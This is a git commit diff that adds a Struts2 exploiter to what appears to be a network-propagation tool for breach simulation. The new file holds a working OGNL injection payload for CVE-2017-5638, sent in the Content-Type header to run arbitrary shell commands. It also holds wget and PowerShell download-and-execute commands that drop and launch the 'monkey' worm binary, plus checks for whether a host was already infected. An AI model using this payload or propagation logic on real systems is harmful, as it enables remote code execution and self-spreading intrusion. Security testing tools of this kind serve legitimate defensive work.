Not yet functioning and tested, but most functions are done

This commit is contained in:
Vakaris 2018-06-19 18:08:52 +03:00
parent 9a8a6c6e28
commit 413bdd9254
5 changed files with 218 additions and 4 deletions

View File

@ -7,7 +7,7 @@ from abc import ABCMeta
from itertools import product from itertools import product
from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \ from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \
SambaCryExploiter, ElasticGroovyExploiter SambaCryExploiter, ElasticGroovyExploiter, Struts2Exploiter
from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger
__author__ = 'itamar' __author__ = 'itamar'
@ -148,7 +148,7 @@ class Configuration(object):
finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger, MySQLFinger, ElasticFinger] finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger, MySQLFinger, ElasticFinger]
exploiter_classes = [SmbExploiter, WmiExploiter, # Windows exploits exploiter_classes = [SmbExploiter, WmiExploiter, # Windows exploits
SSHExploiter, ShellShockExploiter, SambaCryExploiter, # Linux SSHExploiter, ShellShockExploiter, SambaCryExploiter, # Linux
ElasticGroovyExploiter, # multi ElasticGroovyExploiter, Struts2Exploiter # multi
] ]
# how many victims to look for in a single scan iteration # how many victims to look for in a single scan iteration

View File

@ -36,7 +36,8 @@
"WmiExploiter", "WmiExploiter",
"ShellShockExploiter", "ShellShockExploiter",
"ElasticGroovyExploiter", "ElasticGroovyExploiter",
"SambaCryExploiter" "SambaCryExploiter",
"Struts2Exploiter"
], ],
"finger_classes": [ "finger_classes": [
"SSHFinger", "SSHFinger",

View File

@ -41,3 +41,4 @@ from sshexec import SSHExploiter
from shellshock import ShellShockExploiter from shellshock import ShellShockExploiter
from sambacry import SambaCryExploiter from sambacry import SambaCryExploiter
from elasticgroovy import ElasticGroovyExploiter from elasticgroovy import ElasticGroovyExploiter
from struts2 import Struts2Exploiter

View File

@ -0,0 +1,204 @@
"""
Implementation is based on Struts2 jakarta multiparser RCE exploit ( CVE-2017-5638 )
code used is from https://www.exploit-db.com/exploits/41570/
Vulnerable struts2 versions <=2.3.31 and <=2.5.10
"""
import urllib2
import httplib
import unicodedata
import re
from network.tools import check_tcp_ports
import logging
from exploit import HostExploiter
from exploit.tools import get_target_monkey, get_monkey_depth
from tools import build_monkey_commandline, HTTPTools
__author__ = "VakarisZ"
LOG = logging.getLogger(__name__)
ID_STRING = "M0NK3YSTRUTS2"
MONKEY_ARG = "m0nk3y"
# Commands used for downloading monkeys
POWERSHELL_HTTP = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%%(http_path)s\\\' -OutFile \\\'%%(monkey_path)s\\\' -UseBasicParsing; %%(monkey_path)s %s %%(parameters)s\"" % (MONKEY_ARG, )
WGET_HTTP = "wget -O %%(monkey_path)s %%(http_path)s && sudo chmod a+rwx %%(monkey_path)s && %%(monkey_path)s %s %%(parameters)s" % (MONKEY_ARG, )
# Command used to check whether host is vulnerable
CHECK_COMMAND = "echo %s" % ID_STRING
# Commands used to check for architecture
CHECK_WINDOWS = "%s && wmic os get osarchitecture" % ID_STRING
CHECK_LINUX = "%s && lscpu" % ID_STRING
# Commands used to check if monkeys already exists
EXISTS = "ls %s"
WEB_PORTS = [80, 443, 8080]
# Timeouts if the payload is wrong
DOWNLOAD_TIMEOUT = 30
# This is set so that we don't have to wait for monkeys' output (in seconds)
RESPONSE_TIMEOUT = 1
class Struts2Exploiter(HostExploiter):
_TARGET_OS_TYPE = ['linux', 'windows']
def __init__(self, host):
super(Struts2Exploiter, self).__init__(host)
self._config = __import__('config').WormConfiguration
self.skip_exist = self._config.skip_exploit_if_file_exist
def exploit_host(self):
# TODO add skip if file exists
# Initializing vars for convenience
ports, _ = check_tcp_ports(self.host.ip_addr, WEB_PORTS)
dropper_path_linux = self._config.dropper_target_path_linux
dropper_path_win_32 = self._config.dropper_target_path_win_32
dropper_path_win_64 = self._config.dropper_target_path_win_64
if not ports:
LOG.info("All web ports are closed on %r, skipping", self.host)
return False
for port in ports:
if port == 443:
current_host = "https://%s:%d" % (self.host.ip_addr, port)
else:
# TODO remove struts from url
current_host = "http://%s:%d/struts" % (self.host.ip_addr, port)
# Get full URL
current_host = self.get_redirected(current_host)
# Get os architecture so that we don't have to update monkey
LOG.info("Trying to exploit with struts2")
# Check if host is vulnerable and get host os architecture
if 'linux' in self.host.os['type']:
host_arch = Struts2Exploiter.try_exploit_linux(current_host)
else:
host_arch = Struts2Exploiter.try_exploit_windows(current_host)
if host_arch:
self.host.os['machine'] = host_arch
if current_host and host_arch:
LOG.info("Host is exploitable with struts2 RCE vulnerability")
src_path = get_target_monkey(self.host)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", self.host)
return False
# create server for http download.
http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
if not http_path:
LOG.debug("Exploiter Struts2 failed, http transfer creation failed.")
return False
LOG.info("Started http server on %s", http_path)
cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1)
# Form command according to os
if 'linux' in self.host.os['type']:
if self.skip_exist and (self.check_remote_file(current_host, dropper_path_linux)):
return True
command = WGET_HTTP % {'monkey_path': dropper_path_linux,
'http_path': http_path, 'parameters': cmdline}
else:
if self.skip_exist and (self.check_remote_file(current_host, dropper_path_win_32)
or self.check_remote_file(current_host, dropper_path_win_64)):
return True
command = POWERSHELL_HTTP % {'monkey_path': re.escape(dropper_path_win_32),
'http_path': http_path, 'parameters': cmdline}
self.exploit(current_host, command)
http_thread.join(DOWNLOAD_TIMEOUT)
http_thread.stop()
LOG.info("Struts2 exploit attempt finished")
return True
return False
def check_remote_file(self, host, path):
command = EXISTS % path
resp = self.exploit(host, command)
if 'No such file' in resp:
return False
else:
LOG.info("Host %s was already infected under the current configuration, done" % self.host)
return True
@staticmethod
def try_exploit_windows(url):
resp = Struts2Exploiter.exploit(url, CHECK_WINDOWS)
if resp and ID_STRING in resp:
if "64-bit" in resp:
return "64"
else:
return "32"
else:
return False
@staticmethod
def try_exploit_linux(url):
resp = Struts2Exploiter.exploit(url, CHECK_LINUX)
if resp and ID_STRING in resp:
if "x86_64" in resp:
return "64"
else:
return "32"
else:
return False
@staticmethod
def get_redirected(url):
# Returns false if url is not right
headers = {'User-Agent': 'Mozilla/5.0'}
request = urllib2.Request(url, headers=headers)
try:
return urllib2.urlopen(request).geturl()
except urllib2.URLError:
return False
@staticmethod
def exploit(url, cmd, timeout=None):
"""
:param url: Full url to send request to
:param cmd: Code to try and execute on host
:param timeout: How long to wait for response in seconds(if monkey is executed
it's better not to wait it's whole output
:return: response
"""
page = ""
payload = "%{(#_='multipart/form-data')."
payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
payload += "(#_memberAccess?"
payload += "(#_memberAccess=#dm):"
payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
payload += "(#ognlUtil.getExcludedPackageNames().clear())."
payload += "(#ognlUtil.getExcludedClasses().clear())."
payload += "(#context.setMemberAccess(#dm))))."
payload += "(#cmd='%s')." % cmd
payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
payload += "(#ros.flush())}"
# Turns payload ascii just for consistency
if isinstance(payload, unicode):
payload = unicodedata.normalize('NFKD', payload).encode('ascii', 'ignore')
headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
try:
request = urllib2.Request(url, headers=headers)
# Timeout added or else we would wait for all monkeys' output
page = urllib2.urlopen(request, timeout=timeout).read()
except AttributeError:
# If url does not exist
return False
except httplib.IncompleteRead, e:
page = e.partial
except Exception:
LOG.info("Request timed out, because monkey is still running on remote host")
return page

View File

@ -80,6 +80,13 @@ SCHEMA = {
], ],
"title": "ElasticGroovy Exploiter" "title": "ElasticGroovy Exploiter"
}, },
{
"type": "string",
"enum": [
"Struts2Exploiter"
],
"title": "Struts2 Exploiter"
}
] ]
}, },
"finger_classes": { "finger_classes": {
@ -609,7 +616,8 @@ SCHEMA = {
"SSHExploiter", "SSHExploiter",
"ShellShockExploiter", "ShellShockExploiter",
"SambaCryExploiter", "SambaCryExploiter",
"ElasticGroovyExploiter" "ElasticGroovyExploiter",
"Struts2Exploiter"
], ],
"description": "description":
"Determines which exploits to use. " + WARNING_SIGN "Determines which exploits to use. " + WARNING_SIGN